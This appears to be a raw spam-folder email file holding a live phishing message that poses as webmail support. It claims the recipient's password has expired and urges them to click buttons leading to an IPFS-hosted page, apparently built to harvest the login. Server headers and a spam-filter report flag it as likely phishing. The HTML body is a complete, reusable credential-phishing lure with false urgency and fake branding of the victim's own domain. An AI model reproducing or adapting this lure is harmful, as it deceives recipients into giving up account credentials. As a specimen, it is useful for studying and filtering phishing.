File: /home/govancoz/mail/.spam/new/1717401470.M158401P855924.zacp120.ve.host,S=8347,W=8505
Return-Path: <kaylene@nicolene.xyz>
Delivered-To: govancoz+spam@zacp120.ve.host
Received: from zacp120.ve.host
by zacp120.ve.host with LMTP
id oDUXCX53XWZ0Dw0AvcbEzQ
(envelope-from <kaylene@nicolene.xyz>)
for <govancoz+spam@zacp120.ve.host>; Mon, 03 Jun 2024 09:57:50 +0200
Return-path: <kaylene@nicolene.xyz>
Envelope-to: cheryl@govan.co.za
Delivery-date: Mon, 03 Jun 2024 09:57:50 +0200
Received: from [151.236.8.211] (port=48280 helo=mta0.nicolene.xyz)
by zacp120.ve.host with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.97.1)
(envelope-from <kaylene@nicolene.xyz>)
id 1sE2Zh-00000003ab1-1KMC
for cheryl@govan.co.za;
Mon, 03 Jun 2024 09:57:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=default; d=nicolene.xyz;
h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type:
Content-Transfer-Encoding; i=kaylene@nicolene.xyz;
bh=/fkhlC+apGQ5Ynv7xx2wpnlq5bJXyaPTDoWnrC22FUs=;
b=9Ijt5WJKOl0paDMenGLyl71cDOajfJcyvj+YiSMTkWhoo7O5sqOxCsReJuzlXqwhG3xQXLn0P0v0
hvcWfq1Pomd66JLXizKp3A+F31HNYl8S3j+I9dDscJDPKP2mCkIA+/k3Crz+X8iuELZrD9Yh/LVt
8x8Qv4E2UNCftHKPN+8=
From: WebmailSupport<kaylene@nicolene.xyz>
To: cheryl@govan.co.za
Date: 3 Jun 2024 03:57:04 -0400
Message-ID: <20240603035703.5A79FFB4DC07FD6E@nicolene.xyz>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=9.8
X-Spam-Score: 98
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "zacp120.ve.host",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Dear cheryl@govan.co.za The password for cheryl@govan.co.za
is expired. Kindly use the below button to continue using the same password.
Content analysis details: (9.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: nicolene.xyz]
0.5 JMQ_SPF_NEUTRAL ASKDNS: SPF set to ?all
[nicolene.xyz TXT:v=spf1 a mx ptr a:nicolene.xyz]
[ip4:151.236.8.0/24 ?all]
2.1 CPANEL_XYZ .XYZ domain mostly used by spammers
-0.0 SPF_PASS SPF: sender matches SPF record
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
identical to background
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
-0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from
envelope-from domain
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[151.236.8.211 listed in sa-trusted.bondedsender.org]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[151.236.8.211 listed in bl.score.senderscore.com]
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
-0.0 T_SCC_BODY_TEXT_LINE No description available.
2.5 URI_CLOUDFLAREIPFS References Interplanetary File System PtP
content via CloudFlare, likely phishing
0.8 KAM_INFOUSMEBIZ Prevalent use of
.info|.us|.me|.me.uk|.biz|xyz|id|rocks|life
domains in spam/malware
0.0 FSL_BULK_SIG Bulk signature with no Unsubscribe
0.0 NORDNS_LOW_CONTRAST No rDNS + hidden text
X-Spam-Flag: YES
Subject: ***SPAM*** Password expiry! (s)
<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body><div id=3D"editbody1">
<div style=3D"margin: 0.5em;">
<p> </p>
<table style=3D'padding: 0px; width: 528px; color: rgb(0, 0, 0); text-trans=
form: none; letter-spacing: normal; font-family: "Times New Roman"; font-si=
ze: 14px; font-style: normal; font-weight: 400; margin-left: 0px; word-spac=
ing: 0px; orphans: 2; widows: 2; background-color: rgb(242, 245, 250); -web=
kit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decora=
tion-style: initial; text-decoration-color: initial; text-wrap: wrap; font-=
variant-ligatures: normal; font-variant-caps:=20
normal;' border=3D"0">
<tbody>
<tr>
<td style=3D'margin: 0px; padding: 0px 10px; font-family: "segoe ui", fruti=
ger, arial, sans-serif; font-size: 21px;'>
<div style=3D"border-width: 0px; margin: 0px; padding: 0px; color: rgb(32, =
31, 30); font-family: inherit; font-size: 15px; font-stretch: inherit;">Dea=
r cheryl@govan.co.za</div>
<div style=3D"border-width: 0px; margin: 0px; padding: 0px; color: rgb(32, =
31, 30); font-family: inherit; font-size: 15px; font-stretch: inherit;">&nb=
sp;</div>
</td>
</tr>
<tr>
<td style=3D'margin: 0px; padding: 0px 10px 6px; font-family: "segoe ui", f=
rutiger, arial, sans-serif; font-size: 16px;'>The password for<span>&n=
bsp;cheryl@govan.co.za is</span><span style=3D"border-width: 0px; marg=
in: 0px; padding: 0px; color: rgb(255, 0, 0);"> <span style=3D"border-width=
: 0px; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"> expired.</span></s=
pan><br><br>Kindly use the below button to continue using the same password=
=2E<br><br>
<span id=3D"v1m_7099438695522600897OBJ_PREFIX_DWT50_com_zimbra_url" style=
=3D"color: rgb(0, 90, 149); text-decoration: none;"> <a title=3D"This exter=
nal link opens in a new window" style=3D"background: 0% 50% rgb(87, 107, 12=
4); margin: 2px; padding: 10px; color: rgb(255, 255, 255); font-weight: bol=
d; text-decoration: none;" href=3D"https://cloudflare-ipfs.com/ipfs/bafkrei=
fyocqjs3aj6ae7x5fhnah3sf56iogb2qgpo3bblt3xu3vruskh5y/#cheryl@govan.co.za" t=
arget=3D"_blank" rel=3D"noopener noreferrer">
Continue With Same Password</a></span><br><span id=3D"v1m_70994386955226008=
97OBJ_PREFIX_DWT51_com_zimbra_url" style=3D"color: rgb(0, 90, 149); text-de=
coration: none;"><br>
<a title=3D"This external link opens in a new window" style=3D"background: =
0% 50% rgb(87, 107, 124); margin: 2px; padding: 10px; color: rgb(255, 255, =
255); font-weight: bold; text-decoration: none;" href=3D"https://cloudflare=
-ipfs.com/ipfs/bafkreifyocqjs3aj6ae7x5fhnah3sf56iogb2qgpo3bblt3xu3vruskh5y/=
#cheryl@govan.co.za" target=3D"_blank" rel=3D"noopener noreferrer">Change P=
assword</a></span><br>
<div style=3D"font-family: arial, helvetica, sans-serif; font-size: 14px;">=
<span style=3D"color: rgb(12, 54, 84);"><span style=3D"color: rgb(12, 54, 8=
4);"><strong><br><br></strong></span></span>
<p align=3D"center" style=3D"margin: 0px; padding: 0px;"><span style=3D"fon=
t-family: Calibri;">Further messages might be prevented if any of the above=
actions are not performed.<br>This email was sent from<span> govan.co=
=2Eza</span></span><span style=3D"font-family: Calibri;"><span> </span=
>Mail Center.<br> <br> Copyright © 2024 govan.co.za</sp=
an><span style=3D"font-family: Calibri;"><span><span> </span></span>In=
c. All rights reserved.</span></p>
</div>
</td>
</tr>
</tbody>
</table>
<p> </p>
</div>
</div></body></html>